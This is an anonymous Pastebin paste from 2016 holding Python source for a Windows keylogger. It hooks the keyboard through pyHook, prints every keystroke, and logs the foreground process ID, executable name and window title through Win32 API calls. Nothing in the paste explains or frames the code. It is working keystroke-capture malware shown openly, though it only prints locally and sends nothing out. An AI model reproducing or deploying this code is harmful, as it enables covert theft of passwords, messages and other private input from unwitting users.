Advertisement
Guest User

Untitled

a guest
Nov 17th, 2016
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.08 KB | None | 0 0
  1. from ctypes import *
  2. import pyHook
  3. import pythoncom
  4. import win32clipboard
  5.  
  6. user32 = windll.user32
  7. kernel32 = windll.kernel32
  8. psapi = windll.psapi
  9. current_window = None
  10.  
  11. def get_current_process():
  12. hwnd = user32.GetForegroundWindow()
  13.  
  14. pid = c_ulong(0)
  15. user32.GetWindowThreadProcessId(hwnd, byref(pid))
  16.  
  17. process_id = "%d" % pid.value
  18.  
  19. executable = create_string_buffer(b"\x00" * 512)
  20. h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
  21.  
  22. psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
  23.  
  24. window_title = create_string_buffer(b"\x00" * 512)
  25. length = user32.GetWindowTextA(hwnd,byref(window_title),512)
  26.  
  27. #print('\n')
  28. print("[PID:%r|%s| %r]" %(process_id, executable.value, window_title.value))
  29.  
  30. kernel32.CloseHandle(hwnd)
  31. kernel32.CloseHandle(h_process)
  32.  
  33. def KeyStroke(event):
  34. global current_window
  35.  
  36. if event.WindowName != current_window:
  37. current_window= event.WindowName
  38. get_current_process()
  39.  
  40.  
  41. print(event.Key)
  42.  
  43. return True
  44.  
  45. kl = pyHook.HookManager()
  46. kl.KeyDown = KeyStroke
  47. kl.HookKeyboard()
  48. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement